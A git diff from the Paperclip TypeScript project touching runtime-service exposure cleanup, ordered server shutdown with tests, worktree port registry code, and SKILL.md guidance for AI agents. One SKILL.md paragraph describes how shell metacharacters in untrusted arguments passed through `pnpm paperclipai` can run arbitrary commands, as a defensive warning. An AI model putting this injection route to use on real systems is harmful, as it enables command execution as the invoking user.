+          url: row.exposure?.publicUrl ?? adoptedRecord.url ?? row.url ?? null,
           provider: "local_process",
           providerRef: String(adoptedRecord.pid),
           ownerAgentId: row.ownerAgentId ?? null,
@@ -5409,6 +8293,7 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
           stoppedAt: null,
           stopPolicy: (row.stopPolicy as Record<string, unknown> | null) ?? null,
           healthStatus: "healthy",
+          exposure: row.exposure ?? null,
           reused: true,
           db,
           child: null,
@@ -5418,6 +8303,9 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
           serviceKey: adoptedRecord.serviceKey,
           profileKind: "workspace-runtime",
           processGroupId: adoptedRecord.processGroupId ?? null,
+          exposureHandle: row.exposureHandle ?? null,
+          backendUrl: adoptedUrl,
+          exposureConfig: null,
         };
         registerRuntimeService(db, record);
         await touchLocalServiceRegistryRecord(adoptedRecord.serviceKey, {
@@ -5436,11 +8324,35 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
     }
 
     const now = new Date();
+    let stoppedExposure = row.exposure ?? null;
+    let stoppedExposureHandle = row.exposureHandle ?? null;
+    if (stoppedExposure) {
+      const cleanup = await deprovisionExposure(workspaceRuntimeExposureDeps, {
+        runtimeId: row.id,
+        handle: stoppedExposureHandle,
+        ports: stoppedExposure.listeners.map((listener) => listener.targetPort),
+      });
+      for (const port of cleanup.quarantinedPorts) quarantinedRuntimeExposurePorts.add(port);
+      stoppedExposure = {
+        ...stoppedExposure,
+        state: cleanup.status.state,
+        publicUrl: null,
+        lastError: cleanup.status.lastError,
+        updatedAt: now.toISOString(),
+      };
+      if (cleanup.status.state === "removed") stoppedExposureHandle = null;
+    }
     await db
       .update(workspaceRuntimeServices)
       .set({
         status: "stopped",
         healthStatus: "unknown",
+        // A row queued for HTTPS backfill drops its HTTP URL now rather than
+        // keeping it until the restart succeeds: if the restart fails, the
+        // fail-closed contract says show no URL, not a working HTTP one.
+        url: stoppedExposure || backfillDecision.action === "reprovision" ? null : row.url,
+        exposure: stoppedExposure,
+        exposureHandle: stoppedExposureHandle,
         stoppedAt: now,
         lastUsedAt: now,
         updatedAt: now,
@@ -5457,7 +8369,28 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
     stopped += 1;
   }
 
-  return { reconciled, adopted, stopped };
+  // Row reconciliation alone cannot repair the process-start crash window: the
+  // local service registry may contain a healthy managed process whose DB row
+  // was never committed. Re-applying persisted desired state adopts that
+  // registry entry (or restarts a missing service) and makes it visible to
+  // workspace cleanup through workspace_runtime_services again.
+  //
+  // It is also the second half of the HTTPS backfill: services stopped above as
+  // HTTP-only come back here through the ordinary start path, which now applies
+  // the `tailscale_https` default and only reports them healthy behind a
+  // verified HTTPS URL.
+  const desiredState = await restartDesiredRuntimeServicesOnStartup(db);
+
+  return {
+    reconciled,
+    adopted,
+    stopped,
+    backfilled,
+    restarted: desiredState.restarted,
+    restartFailed: desiredState.failed,
+    /** Stopped/removed rows whose reserved ports are live or mapped elsewhere. */
+    exposureReservationDrift,
+  };
 }
 
 export async function restartDesiredRuntimeServicesOnStartup(db: Db) {
@@ -5491,6 +8424,7 @@ export async function restartDesiredRuntimeServicesOnStartup(db: Db) {
           worktreePath: null,
           warnings: [],
           created: false,
+          branchCreatedByRuntime: false,
         },
         config: {
           workspaceRuntime: runtimeConfig.workspaceRuntime,
@@ -5545,6 +8479,9 @@ export async function restartDesiredRuntimeServicesOnStartup(db: Db) {
           worktreePath: row.strategyType === "git_worktree" ? row.cwd : null,
           warnings: [],
           created: false,
+          branchCreatedByRuntime: isRuntimeOwnedGitBranch(
+            row.metadata as Record<string, unknown> | null,
+          ),
         },
         executionWorkspaceId: row.id,
         config: {
@@ -5615,6 +8552,9 @@ export async function persistAdapterManagedRuntimeServices(input: {
         startedAt,
         stoppedAt: ref.stoppedAt ? new Date(ref.stoppedAt) : null,
         stopPolicy: ref.stopPolicy,
+        exposure: null,
+        exposureHandle: null,
+        backendUrl: null,
         healthStatus: ref.healthStatus,
         createdAt,
         updatedAt: new Date(),
@@ -5644,6 +8584,9 @@ export async function persistAdapterManagedRuntimeServices(input: {
           startedAt,
           stoppedAt: ref.stoppedAt ? new Date(ref.stoppedAt) : null,
           stopPolicy: ref.stopPolicy,
+          exposure: null,
+          exposureHandle: null,
+          backendUrl: null,
           healthStatus: ref.healthStatus,
           updatedAt: new Date(),
         },
diff --git a/server/src/shutdown.test.ts b/server/src/shutdown.test.ts
index 74bf4b0fc73..5b8a3c7a954 100644
--- a/server/src/shutdown.test.ts
+++ b/server/src/shutdown.test.ts
@@ -2,9 +2,140 @@ import { EventEmitter } from "node:events";
 import { describe, expect, it, vi } from "vitest";
 import {
   coordinateHeartbeatSchedulerShutdown,
+  finalizeServerShutdown,
   loadWithoutCoordinatedShutdownSignalHooks,
 } from "./shutdown.js";
 
+function deferred<T = void>() {
+  let resolve!: (value: T) => void;
+  let reject!: (reason?: unknown) => void;
+  const promise = new Promise<T>((res, rej) => {
+    resolve = res;
+    reject = rej;
+  });
+  return { promise, resolve, reject };
+}
+
+function stubLogger() {
+  return { info: vi.fn(), error: vi.fn() };
+}
+
+describe("finalizeServerShutdown", () => {
+  it("awaits the setup-token cleanup before the database stop and the process exit", async () => {
+    const order: string[] = [];
+    // The held promise models the setup-token session cancellation and its
+    // sandbox lease release. The teardown must not continue while it is pending.
+    const release = deferred();
+    const shutdownAppServices = vi.fn(async () => {
+      order.push("appServices:start");
+      await release.promise;
+      order.push("appServices:settled");
+    });
+    const stopEmbeddedPostgres = vi.fn(async () => {
+      order.push("postgres:stop");
+    });
+    const shutdownInstrumentation = vi.fn(async () => {
+      order.push("instrumentation:flush");
+    });
+
+    let exited = false;
+    const finalize = finalizeServerShutdown({
+      signal: "SIGTERM",
+      shutdownAppServices,
+      stopEmbeddedPostgres,
+      shutdownInstrumentation,
+      log: stubLogger(),
+    }).then(() => {
+      // This models the caller's `process.exit(0)` continuation.
+      exited = true;
+      order.push("exit");
+    });
+
+    // The cleanup is in flight. The database stop, the instrumentation flush,
+    // and the process exit continuation must all wait for it to settle.
+    await vi.waitFor(() => expect(shutdownAppServices).toHaveBeenCalledOnce());
+    expect(stopEmbeddedPostgres).not.toHaveBeenCalled();
+    expect(shutdownInstrumentation).not.toHaveBeenCalled();
+    expect(exited).toBe(false);
+
+    release.resolve();
+    await finalize;
+
+    expect(exited).toBe(true);
+    expect(order).toEqual([
+      "appServices:start",
+      "appServices:settled",
+      "postgres:stop",
+      "instrumentation:flush",
+      "exit",
+    ]);
+  });
+
+  it("keeps the teardown durable and still exits when the setup-token release fails", async () => {
+    const order: string[] = [];
+    // The held promise rejects, which models a lease release that failed. The
+    // reaper owns the durable retry, so the teardown must log the failure and
+    // continue rather than swallow it or block the exit.
+    const release = deferred();
+    const releaseError = new Error("lease release failed");
+    const shutdownAppServices = vi.fn(async () => {
+      await release.promise;
+    });
+    const stopEmbeddedPostgres = vi.fn(async () => {
+      order.push("postgres:stop");
+    });
+    const shutdownInstrumentation = vi.fn(async () => {
+      order.push("instrumentation:flush");
+    });
+    const log = stubLogger();
+
+    let exited = false;
+    const finalize = finalizeServerShutdown({
+      signal: "SIGTERM",
+      shutdownAppServices,
+      stopEmbeddedPostgres,
+      shutdownInstrumentation,
+      log,
+    }).then(() => {
+      exited = true;
+    });
+
+    await vi.waitFor(() => expect(shutdownAppServices).toHaveBeenCalledOnce());
+    expect(stopEmbeddedPostgres).not.toHaveBeenCalled();
+    expect(exited).toBe(false);
+
+    release.reject(releaseError);
+    await finalize;
+
+    // The teardown surfaced the failure in the log, then finished the ordered
+    // teardown and reached the exit continuation.
+    expect(log.error).toHaveBeenCalledWith(
+      expect.objectContaining({ err: releaseError, signal: "SIGTERM" }),
+      expect.any(String),
+    );
+    expect(order).toEqual(["postgres:stop", "instrumentation:flush"]);
+    expect(exited).toBe(true);
+  });
+
+  it("skips the database stop when no embedded PostgreSQL runs in this process", async () => {
+    const shutdownAppServices = vi.fn(async () => undefined);
+    const shutdownInstrumentation = vi.fn(async () => undefined);
+    const log = stubLogger();
+
+    await finalizeServerShutdown({
+      signal: "SIGINT",
+      shutdownAppServices,
+      stopEmbeddedPostgres: null,
+      shutdownInstrumentation,
+      log,
+    });
+
+    expect(shutdownAppServices).toHaveBeenCalledOnce();
+    expect(shutdownInstrumentation).toHaveBeenCalledOnce();
+    expect(log.info).not.toHaveBeenCalled();
+  });
+});
+
 describe("loadWithoutCoordinatedShutdownSignalHooks", () => {
   it("removes the eager signal handlers from the real embedded-postgres import", async () => {
     const before = {
diff --git a/server/src/shutdown.ts b/server/src/shutdown.ts
index 3100e5312bd..9882e256ecf 100644
--- a/server/src/shutdown.ts
+++ b/server/src/shutdown.ts
@@ -2,6 +2,56 @@ type HotRestartShutdownPreparation = {
   skipDrain: boolean;
 };
 
+type ShutdownLogger = {
+  info(obj: object, msg: string): void;
+  error(obj: object, msg: string): void;
+};
+
+/**
+ * Runs the final, ordered teardown of the server. It awaits the application
+ * service cleanup first, so a live setup-token login session stops and releases
+ * its sandbox lease before the database and the provider stop. The caller runs
+ * `process.exit(0)` only after this helper resolves, so an orderly shutdown
+ * never leaves a sandbox lease or confidential login state alive past the
+ * process exit.
+ *
+ * A step that rejects does not stop the teardown. The helper logs the error and
+ * continues to the next step. A failed setup-token lease release stays a
+ * durable record for the startup reaper; the helper surfaces it in the log
+ * instead of blocking the exit path.
+ */
+export async function finalizeServerShutdown(input: {
+  signal: "SIGINT" | "SIGTERM";
+  shutdownAppServices: (() => Promise<void>) | undefined;
+  stopEmbeddedPostgres: (() => Promise<void>) | null;
+  shutdownInstrumentation: () => Promise<void>;
+  log: ShutdownLogger;
+}): Promise<void> {
+  const { signal } = input;
+
+  // Await the application service cleanup, so a live setup-token login session
+  // releases its sandbox lease before the database and the provider stop. A
+  // rejected cleanup stays durable for the reaper; it does not block the exit.
+  try {
+    await input.shutdownAppServices?.();
+  } catch (err) {
+    input.log.error({ err, signal }, "Application service shutdown failed");
+  }
+
+  if (input.stopEmbeddedPostgres) {
+    input.log.info({ signal }, "Stopping embedded PostgreSQL");
+    try {
+      await input.stopEmbeddedPostgres();
+    } catch (err) {
+      input.log.error({ err }, "Failed to stop embedded PostgreSQL cleanly");
+    }
+  }
+
+  // Flush buffered OTel spans before the process goes away; without this await
+  // the exporter's final batch is dropped on exit.
+  await input.shutdownInstrumentation();
+}
+
 const COORDINATED_SHUTDOWN_SIGNALS = ["SIGINT", "SIGTERM"] as const;
 
 type ShutdownSignalTarget = {
diff --git a/server/src/startup-banner.ts b/server/src/startup-banner.ts
index a3ae2ed1a33..1b040da18f6 100644
--- a/server/src/startup-banner.ts
+++ b/server/src/startup-banner.ts
@@ -93,7 +93,7 @@ function resolveAgentJwtSecretStatus(
 
   return {
     status: "warn",
-    message: "missing (run `pnpm paperclipai onboard`)",
+    message: "missing (run `npx paperclipai onboard`)",
   };
 }
 
diff --git a/server/src/worktree-config.ts b/server/src/worktree-config.ts
index db4e9fffe79..be97f403c2f 100644
--- a/server/src/worktree-config.ts
+++ b/server/src/worktree-config.ts
@@ -8,6 +8,11 @@ import {
   type PaperclipConfig,
 } from "@paperclipai/shared";
 import { updateEnvFileContents, writeEnvFileAtomicallyIfChanged } from "@paperclipai/shared/env-file";
+import {
+  readWorktreePortRegistry,
+  withWorktreePortRegistryLockSync,
+  writeWorktreePortRegistry,
+} from "@paperclipai/shared/worktree-port-registry";
 import { resolvePaperclipConfigPath, resolvePaperclipEnvPath } from "./paths.js";
 import { rewriteUrlPort } from "./url-utils.js";
 
@@ -99,89 +104,6 @@ type WorktreeRuntimeContext = {
   secretsKeyFilePath: string;
 };
 
-type WorktreePortRegistry = {
-  version: 1;
-  configPaths: string[];
-};
-
-const WORKTREE_PORT_REGISTRY_FILE = "worktree-port-reservations.json";
-const WORKTREE_PORT_REGISTRY_LOCK_DIR = ".worktree-port-reservations.lock";
-const WORKTREE_PORT_REGISTRY_LOCK_STALE_MS = 5_000;
-const WORKTREE_PORT_REGISTRY_LOCK_TIMEOUT_MS = 10_000;
-const sleepSyncBuffer = new Int32Array(new SharedArrayBuffer(4));
-
-function sleepSync(durationMs: number): void {
-  Atomics.wait(sleepSyncBuffer, 0, 0, durationMs);
-}
-
-function withWorktreePortRegistryLock<T>(homeDir: string, run: () => T): T {
-  fs.mkdirSync(homeDir, { recursive: true });
-  const lockPath = path.resolve(homeDir, WORKTREE_PORT_REGISTRY_LOCK_DIR);
-  const deadline = Date.now() + WORKTREE_PORT_REGISTRY_LOCK_TIMEOUT_MS;
-
-  while (true) {
-    try {
-      fs.mkdirSync(lockPath);
-      break;
-    } catch (error) {
-      const code = error instanceof Error && "code" in error ? error.code : null;
-      if (code !== "EEXIST") throw error;
-
-      try {
-        const ageMs = Date.now() - fs.statSync(lockPath).mtimeMs;
-        if (ageMs > WORKTREE_PORT_REGISTRY_LOCK_STALE_MS) {
-          fs.rmSync(lockPath, { recursive: true, force: true });
-          continue;
-        }
-      } catch {
-        continue;
-      }
-
-      if (Date.now() >= deadline) {
-        throw new Error(`Timed out waiting for worktree port reservation lock at ${lockPath}`);
-      }
-      sleepSync(25);
-    }
-  }
-
-  try {
-    return run();
-  } finally {
-    fs.rmSync(lockPath, { recursive: true, force: true });
-  }
-}
-
-function readWorktreePortRegistry(homeDir: string): Set<string> {
-  const registryPath = path.resolve(homeDir, WORKTREE_PORT_REGISTRY_FILE);
-  if (!fs.existsSync(registryPath)) return new Set();
-
-  try {
-    const parsed = JSON.parse(fs.readFileSync(registryPath, "utf8")) as Partial<WorktreePortRegistry>;
-    if (parsed.version !== 1 || !Array.isArray(parsed.configPaths)) return new Set();
-    return new Set(
-      parsed.configPaths
-        .filter((configPath): configPath is string => typeof configPath === "string" && configPath.length > 0)
-        .map((configPath) => path.resolve(configPath)),
-    );
-  } catch {
-    return new Set();
-  }
-}
-
-function writeWorktreePortRegistry(homeDir: string, configPaths: Iterable<string>): void {
-  const registryPath = path.resolve(homeDir, WORKTREE_PORT_REGISTRY_FILE);
-  const persistedPaths = Array.from(new Set(Array.from(configPaths, (configPath) => path.resolve(configPath))))
-    .filter((configPath) => fs.existsSync(configPath))
-    .sort();
-  const registry: WorktreePortRegistry = {
-    version: 1,
-    configPaths: persistedPaths,
-  };
-  const temporaryPath = `${registryPath}.${process.pid}.tmp`;
-  fs.writeFileSync(temporaryPath, `${JSON.stringify(registry, null, 2)}\n`, { mode: 0o600 });
-  fs.renameSync(temporaryPath, registryPath);
-}
-
 function resolveWorktreeRuntimeContext(
   env: NodeJS.ProcessEnv,
   overrideConfigPath?: string,
@@ -354,7 +276,6 @@ function collectSiblingWorktreePorts(
         serverPorts.add(siblingConfig.server.port);
       }
       if (
-        siblingConfig.database.mode === "embedded-postgres" &&
         Number.isInteger(siblingConfig.database.embeddedPostgresPort) &&
         siblingConfig.database.embeddedPostgresPort > 0
       ) {
@@ -542,7 +463,7 @@ export function maybeRepairLegacyWorktreeConfigAndEnvFiles(): {
   let repairedConfig = false;
   if (fs.existsSync(context.configPath)) {
     try {
-      const runtimeConfig = withWorktreePortRegistryLock(context.homeDir, () => {
+      const runtimeConfig = withWorktreePortRegistryLockSync(context.homeDir, () => {
         const parsed = JSON.parse(fs.readFileSync(context.configPath, "utf8")) as PaperclipConfig;
         let selectedConfig = parsed;
         const registeredConfigPaths = readWorktreePortRegistry(context.homeDir);
@@ -671,4 +592,3 @@ export function maybePersistWorktreeRuntimePorts(input: {
     writeConfigFile(context.configPath, config);
   }
 }
-
diff --git a/server/src/worktree-seed-manifest.ts b/server/src/worktree-seed-manifest.ts
new file mode 100644
index 00000000000..d1b281ed894
--- /dev/null
+++ b/server/src/worktree-seed-manifest.ts
@@ -0,0 +1,54 @@
+import { existsSync, readFileSync } from "node:fs";
+
+const WORKTREE_SEED_MODES = new Set(["minimal", "full"]);
+
+type SeedDiagnostic = {
+  phase?: unknown;
+  status?: unknown;
+  at?: unknown;
+};
+
+/**
+ * A manifest is readiness evidence only when the complete validation phase was
+ * durably recorded. A bare `state: verified` is deliberately insufficient so
+ * truncated or hand-edited files cannot start a partially restored workspace.
+ */
+export function isVerifiedWorktreeSeedManifest(value: unknown): boolean {
+  if (!value || typeof value !== "object") return false;
+  const manifest = value as Record<string, unknown>;
+  const source = manifest.source as Record<string, unknown> | null;
+  const diagnostics = manifest.diagnostics as SeedDiagnostic[] | null;
+  return manifest.version === 2
+    && manifest.state === "verified"
+    && manifest.phase === "complete"
+    && typeof source?.instanceId === "string"
+    && source.instanceId.length > 0
+    && typeof source.configPath === "string"
+    && source.configPath.length > 0
+    && WORKTREE_SEED_MODES.has(String(manifest.seedMode ?? ""))
+    && typeof manifest.snapshotAt === "string"
+    && manifest.snapshotAt.length > 0
+    && typeof manifest.migrationRevision === "string"
+    && manifest.migrationRevision.length > 0
+    && typeof manifest.targetInstanceId === "string"
+    && manifest.targetInstanceId.length > 0
+    && typeof manifest.attemptId === "string"
+    && manifest.attemptId.length > 0
+    && typeof manifest.startedAt === "string"
+    && typeof manifest.finishedAt === "string"
+    && Array.isArray(diagnostics)
+    && diagnostics.some((diagnostic) => (
+      diagnostic?.phase === "complete"
+      && diagnostic.status === "succeeded"
+      && typeof diagnostic.at === "string"
+    ));
+}
+
+export function hasVerifiedWorktreeSeedManifest(manifestPath: string): boolean {
+  if (!existsSync(manifestPath)) return false;
+  try {
+    return isVerifiedWorktreeSeedManifest(JSON.parse(readFileSync(manifestPath, "utf8")));
+  } catch {
+    return false;
+  }
+}
diff --git a/server/vitest.config.ts b/server/vitest.config.ts
index cd2fafdb89a..faa0c7b0e19 100644
--- a/server/vitest.config.ts
+++ b/server/vitest.config.ts
@@ -3,6 +3,7 @@ import { defineConfig } from "vitest/config";
 export default defineConfig({
   test: {
     environment: "node",
+    include: ["src/**/*.test.ts"],
     // Each server suite boots + tears down its own embedded Postgres in
     // beforeAll/afterAll. Under the loaded serial shard (maxWorkers=1) the
     // graceful shutdown can occasionally cross vitest's default 10s hookTimeout,
@@ -12,6 +13,15 @@ export default defineConfig({
     // mirrors it for the same reason.
     hookTimeout: 30000,
     teardownTimeout: 30000,
+    // The route/authz suites import very large modules (for example
+    // src/routes/issues.ts and its dependency graph). The first test in each
+    // file pays the one-time transform cost inside its own timeout budget. On
+    // the loaded serial shard (maxWorkers=1) that cost can cross vitest's
+    // default 5s testTimeout and fail the first test, which also lets its
+    // fire-and-forget wake leak into the next test. Give each test generous
+    // headroom; 15s is far above the observed module-load cost yet still
+    // catches a genuinely hung test well inside the 20 minute job limit.
+    testTimeout: 15000,
     isolate: true,
     maxConcurrency: 1,
     maxWorkers: 1,
diff --git a/skills/paperclip-board/SKILL.md b/skills/paperclip-board/SKILL.md
index 318fcb72bce..c81966566a6 100644
--- a/skills/paperclip-board/SKILL.md
+++ b/skills/paperclip-board/SKILL.md
@@ -30,7 +30,7 @@ You are a board-level assistant helping a human manage their AI-agent company th
 
 Every time you begin a new conversation with the user:
 
-1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `pnpm paperclipai board setup`.
+1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `npx paperclipai board setup`.
 2. Check if `PAPERCLIP_COMPANY_ID` is set.
    - If set: fetch the dashboard to understand current state.
    - If not set: list companies to see if any exist, or guide through company creation.
diff --git a/skills/paperclip/SKILL.md b/skills/paperclip/SKILL.md
index 39887137008..33aeceda407 100644
--- a/skills/paperclip/SKILL.md
+++ b/skills/paperclip/SKILL.md
@@ -23,7 +23,7 @@ Some adapters also inject `PAPERCLIP_WAKE_PAYLOAD_JSON` on comment-driven wakes.
 
 Manual local CLI mode (outside heartbeat runs): use `paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>` to install Paperclip skills for Claude/Codex and print/export the required `PAPERCLIP_*` environment variables for that agent identity.
 
-**CLI safety — use `pnpm exec paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `pnpm exec paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `pnpm exec` runs the installed binary directly and passes the argument as an inert `argv` value. Do not use `pnpm paperclipai` for such an argument. The safe form and the unsafe form differ only by the `exec` keyword, so read the command with care. `pnpm paperclipai` is a `package.json` script; `pnpm` runs the argument through `/bin/sh` first. The shell then interprets a backtick pair, `$( )`, `$NAME`, and `; | & < >` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. `npx paperclipai` is also injection-safe; use it when no local install is present. See `doc/CLI.md` for the full safe/unsafe matrix.
+**CLI safety — use `npx paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `npx paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `npx paperclipai` runs the CLI binary directly and passes the argument as an inert `argv` value; it does not run a shell over the value. Do not use `pnpm paperclipai` for such an argument. `pnpm paperclipai` is a `package.json` script; `pnpm` appends the argument to a `/bin/sh` command string, so the shell reads it first and interprets a backtick pair, `$( )`, or `$NAME` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. This risk stays even when the argument comes from a quoted shell variable, because `pnpm` re-evaluates the value in its own shell. Do not use `pnpm exec paperclipai` either; the root workspace does not link that binary, so the command fails with `Command "paperclipai" not found`. To run local `cli/src` changes with a content-bearing argument, use `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts <command> <args>`. See `doc/CLI.md` for the full safe/unsafe matrix.
 
 **Run audit trail:** You MUST include `-H 'X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID'` on ALL API requests that modify issues (checkout, update, comment, create subtask, release). This links your actions to the current heartbeat run for traceability.
 
@@ -233,29 +233,32 @@ POST /api/companies/{companyId}/approvals
 
 ## Issue-Thread Interactions
 
-Issue-thread interactions are first-class cards that render in the issue thread and capture a typed board/user response. Use them instead of asking the board to type yes/no or a checklist in markdown — interactions create audit trails, drive idempotency, and wake the assignee through a structured continuation path.
+Issue-thread interactions are first-class cards that render in the issue thread and capture a typed response from whoever picks them up — the board or another agent. Use them instead of asking for a yes/no or a checklist in markdown prose — interactions create audit trails, drive idempotency, and wake the assignee through a structured continuation path.
+
+A card is a coordination record, not a grant of authority. Getting an interaction accepted never authorizes the underlying action: task creation, tool/provider calls, deployments, spend, hiring, secret access, and formal approvals each re-run their own authorization when you attempt them.
 
 Five issue-thread interaction kinds are supported. Pick the smallest kind that fits the decision shape:
 
 | Kind                            | When to use                                                                                  | When **not** to use                                                                                |
 | ------------------------------- | -------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- |
-| `request_confirmation`          | Single yes/no decision bound to a target (e.g. accept a plan revision, approve a launch).    | Multi-select choices, free-form answers, or proposing tasks the board can pick from.               |
-| `request_checkbox_confirmation` | Board must select any subset of a known list (up to 200 options) and then confirm or reject. | Yes/no decisions (use `request_confirmation`), or proposing new tasks (use `suggest_tasks`).        |
-| `request_item_verdicts`         | Board must approve/reject/defer individual known items, potentially over multiple submits.   | One-shot multi-select decisions (use `request_checkbox_confirmation`) or task creation choices.    |
+| `request_confirmation`          | Single yes/no decision bound to a target (e.g. accept a plan revision, approve a launch).    | Multi-select choices, free-form answers, or proposing tasks a responder can pick from.             |
+| `request_checkbox_confirmation` | A responder selects any subset of a known list (up to 200 options) and then confirms or rejects. | Yes/no decisions (use `request_confirmation`), or proposing new tasks (use `suggest_tasks`).        |
+| `request_item_verdicts`         | A responder approves/rejects/defers individual known items, potentially over multiple submits. | One-shot multi-select decisions (use `request_checkbox_confirmation`) or task creation choices.    |
 | `ask_user_questions`            | Short structured form: a handful of typed questions, each with answers/options/text.         | Selecting many items from a long list, or single accept/reject decisions.                          |
-| `suggest_tasks`                 | Proposing concrete tasks for the board to accept; accepted tasks become real subtasks.       | Asking the board to confirm a plan or arbitrary selection. Tasks are the unit; not arbitrary ids.  |
+| `suggest_tasks`                 | Proposing concrete tasks for a responder to accept; accepted tasks become real subtasks.     | Confirming a plan or an arbitrary selection. Tasks are the unit; not arbitrary ids.                |
 | `decision`                      | Effects span other issues, create a cross-issue bundle, or must stand alone from one thread. | The response belongs only to the current issue; use an issue-thread interaction instead.           |
 
 Routing rule: **same issue → issue-thread interaction; other issues or bundles → decision**.
 
 Key shared semantics:
 
-- **Continuation policy.** `request_checkbox_confirmation` and `request_item_verdicts` default to `wake_assignee`, which wakes you after the board resolves the selection or submits newly resolved item verdicts. `request_confirmation` defaults to `none`, so set `wake_assignee` or `wake_assignee_on_accept` when you need to resume after a yes/no decision. `none` never wakes you — only use it when you truly do not need to resume.
+- **Resolver audience.** Every kind defaults to `anyone`: the board or any agent in the company, including you and your own run. **Omit `resolverPolicy` for normal coordination** — that is the open default, and it is what lets a teammate or a watchdog unblock the thread instead of stranding it on one human. Ask for a restriction only when the restriction is the point: `"resolverPolicy": "not_creator"` when the answer must come from someone other than you, `"human_only"` when a person genuinely has to decide (public commitments, spend, anything legal or security-sensitive), or `addresseeAgentId` when one named agent owns the response. Restrictions never widen: a company cap and a governed-action clamp can narrow your request, and the card reports the `effectiveResolverPolicy` it will enforce.
+- **Continuation policy.** `request_checkbox_confirmation` and `request_item_verdicts` default to `wake_assignee`, which wakes you after the card is resolved or newly resolved item verdicts are submitted. `request_confirmation` defaults to `none`, so set `wake_assignee` or `wake_assignee_on_accept` when you need to resume after a yes/no decision. `none` never wakes you — only use it when you truly do not need to resume.
 - **Target binding and staleness.** `request_confirmation`, `request_checkbox_confirmation`, and `request_item_verdicts` accept a `target` (typically `{ type: "issue_document", key, revisionId, … }`). When a newer revision lands, Paperclip expires the pending interaction with `outcome: "stale_target"`. Rebuild against the latest revision and create a fresh interaction.
 - **Supersede on user comment.** Target-bound request kinds default `supersedeOnUserComment: true`, so a later board/user comment cancels the pending request with `outcome: "superseded_by_comment"`. On the wake, address the comment and create a new interaction if approval is still required.
 - **Withdraw and terminal expiry.** The interaction creator agent, current issue assignee agent, or a board user can withdraw any pending interaction with `POST /api/issues/:issueId/interactions/:interactionId/withdraw` and optional `{ "reason": string }`; the result is `outcome: "withdrawn"`. Closing an issue as `done` or `cancelled` expires all remaining pending interactions with `outcome: "issue_closed"` and never wakes the closed issue.
 - **Idempotency.** Use a deterministic `idempotencyKey` such as `confirmation:${issueId}:plan:${revisionId}` or `checkbox:${issueId}:${decisionKey}:${revisionId}` so retries do not stack duplicate cards.
-- **Source issue posture.** After creating a pending interaction, move the source issue to `in_review` with a comment that names what the board must decide. When a `request_confirmation` or `request_checkbox_confirmation` is the issue review request, include its returned id as `reviewInteractionId` in that PATCH. This explicit binding lets policy-eligible agents submit the review verdict without granting the same authority to unrelated pending confirmations. The pending interaction is the explicit waiting path.
+- **Source issue posture.** After creating a pending interaction, move the source issue to `in_review` with a comment that names the response you are waiting for and who can give it (anyone by default, or the restriction you asked for). When a `request_confirmation` or `request_checkbox_confirmation` is the issue review request, include its returned id as `reviewInteractionId` in that PATCH. This explicit binding lets policy-eligible agents submit the review verdict without granting the same authority to unrelated pending confirmations. The pending interaction is the explicit waiting path.
 
 ### Standalone Decisions
 
@@ -321,7 +324,7 @@ Bundle related cross-issue decisions with `POST /api/companies/{companyId}/decis
 
 Bundles accept 1–50 decisions and are created atomically. The nested decision payload uses the same fields and limits as the single-create endpoint.
 
-Create a `request_checkbox_confirmation` (board selects any subset, then confirms):
+Create a `request_checkbox_confirmation` (the responder selects any subset, then confirms):
 
 ```json
 POST /api/issues/{issueId}/interactions
@@ -357,7 +360,7 @@ POST /api/issues/{issueId}/interactions
 }
 ```
 
-When the board accepts, your wake delivers `result.selectedOptionIds` — the option ids they picked (which may be empty if `minSelected: 0`). Rejection delivers `result.reason` and a `commentId`.
+When it is accepted, your wake delivers `result.selectedOptionIds` — the option ids they picked (which may be empty if `minSelected: 0`). Rejection delivers `result.reason` and a `commentId`.
 
 For full payload schemas, validation limits (option count, label lengths, min/max rules), accept/reject route bodies, and result fields, see `references/api-reference.md` -> **Checkbox confirmations**.
 
@@ -401,7 +404,7 @@ POST /api/issues/{issueId}/interactions
 }
 ```
 
-The board submits verdicts with `POST /api/issues/{issueId}/interactions/{interactionId}/verdicts`. Partial submissions keep the interaction `pending` and wake the assignee once with `newlyResolvedItemIds`; when every item has a verdict, the interaction becomes `answered`.
+The responder submits verdicts with `POST /api/issues/{issueId}/interactions/{interactionId}/verdicts`. Partial submissions keep the interaction `pending` and wake the assignee once with `newlyResolvedItemIds`; when every item has a verdict, the interaction becomes `answered`.
 
 ## Niche Workflow Pointers
 
diff --git a/skills/paperclip/references/api-reference.md b/skills/paperclip/references/api-reference.md
index e41f31b4629..3648e3bf472 100644
--- a/skills/paperclip/references/api-reference.md
+++ b/skills/paperclip/references/api-reference.md
@@ -907,9 +907,12 @@ POST /api/issues/{issueId}/interactions
 
 Resolver governance:
 
-- Create accepts optional `resolverPolicy: "board_only" | "board_or_agents"`. If omitted, the company per-kind default applies (`ask_user_questions` defaults to `board_or_agents`; every other kind defaults to `board_only`). The response snapshots immutable `requestedResolverPolicy` and `effectiveResolverPolicy`; later governance edits never widen an existing pending card. `PATCH /api/companies/{companyId}` accepts `interactionResolverGovernance` keyed by kind, with optional `defaultPolicy` and `cap`; a `board_only` cap always wins.
+- **Omit `resolverPolicy` for a normal interaction.** The open default is deliberate: it lets any teammate — a board user or an agent — pick the card up instead of stranding the thread on one person. Send a policy only when the restriction is the point (`not_creator` for independent review, `human_only` when a person must decide), or set `addresseeAgentId` when one named agent owns the response.
